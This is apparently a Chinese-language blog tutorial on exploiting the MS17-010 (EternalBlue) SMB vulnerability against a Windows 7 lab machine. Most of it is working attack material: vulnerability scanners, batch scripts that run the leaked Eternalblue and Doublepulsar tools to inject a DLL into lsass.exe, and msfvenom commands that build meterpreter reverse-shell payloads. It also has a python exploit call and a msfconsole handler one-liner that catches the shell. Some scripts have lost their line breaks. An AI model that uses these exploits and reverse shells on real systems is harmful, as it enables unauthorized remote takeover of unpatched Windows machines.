淺談ms17-010多種利用方式
實驗化境介紹
kali 系統:192.168.0.18

win7 系統:192.168.0.28


MS17-010漏洞檢查
checker.py
GitHub:https://github.com/worawit/MS17-010
python2 checker.py 192.168.0.28

check.bat
GitHub:https://github.com/3gstudent/Smbtouch-Scanner
@Smbtouch-1.1.1.exe --TargetIp %1 --OutConfig 1.txt
check.bat 192.168.0.28

Ladon
Ladon.exe 192.168.0.28 MS17010

fscan
fscan -h 192.168.0.28

MS17-010漏洞利用方式
有防火墻
https://www.bilibili.com/video/BV1Ye4y1k7X9/?share_source=copy_web&vd_source=2eb72ea5238fe3398c820713b04697ff
無防火墻Github:
https://github.com/x0rz/EQGRP_Lost_in_Translation
將工具包中以下三個目錄中的文件拷貝到同一個目錄中(因為64位系統是支持32位的,所以直接復制32位的就好):
windows\lib\x86-Windows\
windows\specials\
windows\payloads\
然后在目錄中,把Eternalblue-2.2.0.0.xml文件重命名成Eternalblue-2.2.0.xml,Doublepulsar-1.3.1.0.xml改為Doublepulsar-1.3.1.xml
為了方便使用,編寫bat腳本
attack.bat 192.168.0.28 @echo offecho =============== [ TargetIp: %1 ] ===============Eternalblue-2.2.0.exe --InConfig Eternalblue-2.2.0.xml --TargetIp %1 --TargetPort 445 --Target WIN72K8R2 backdoor.bat 192.168.0.28 exp.dll @echo offecho ================================================echo [info] TargetIp: %1echo [info] Architecture: %2echo [info] DllPayload: %3echo ================================================Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp %1 --TargetPort 445 --Protocol SMB --Architecture %2 --Function RunDLL --DllPayload %3 --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60
- https://github.com/Telefonica/Eternalblue-Doublepulsar-Metasploit
在deps文件夾,在目錄中,把Eternalblue-2.2.0.0.xml文件重命名成Eternalblue-2.2.0.xml,Doublepulsar-1.3.1.0.xml改為Doublepulsar-1.3.1.xml

編寫bat腳本,使用方法和上面一樣
@echo offecho =============== [ TargetIp: %1 ] ===============Eternalblue-2.2.0.exe --TargetIp %1 --Target WIN72K8R2 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig outlog.txt@echo offecho ================================================echo [info] TargetIp: %1echo [info] Architecture: %2echo [info] DllPayload: %3echo ================================================Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp %1 --TargetPort 445 --Protocol SMB --Architecture %2 --Function RunDLL --DllPayload %3 --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60
靶場環境實戰利用
#metasploit生成dll文件msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=9999 -f dll > winx64.dll msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=9999 -f dll > winx86.dll
(1)poc檢查目標服務是否開存在MS17010漏洞

2.攻擊

3.漏洞利用

metasploit上線

利用二
K8哥哥的ksmb.exe

成功添加用戶

利用三
https://blackwolfsec.cc/2017/05/12/Eternalblue_ms17-010/
需要多次利用才能成功
#生成shellcodemsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.18 LPORT=1111 -f raw > shellcode #利用python3 ms17-010.py --host 192.168.0.28 --file shellcode
加上--port 445會報錯
1.攻擊

2.監聽后成功上線
#一鍵啟動監聽 msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.0.18; set lport 1111; exploit - j; "
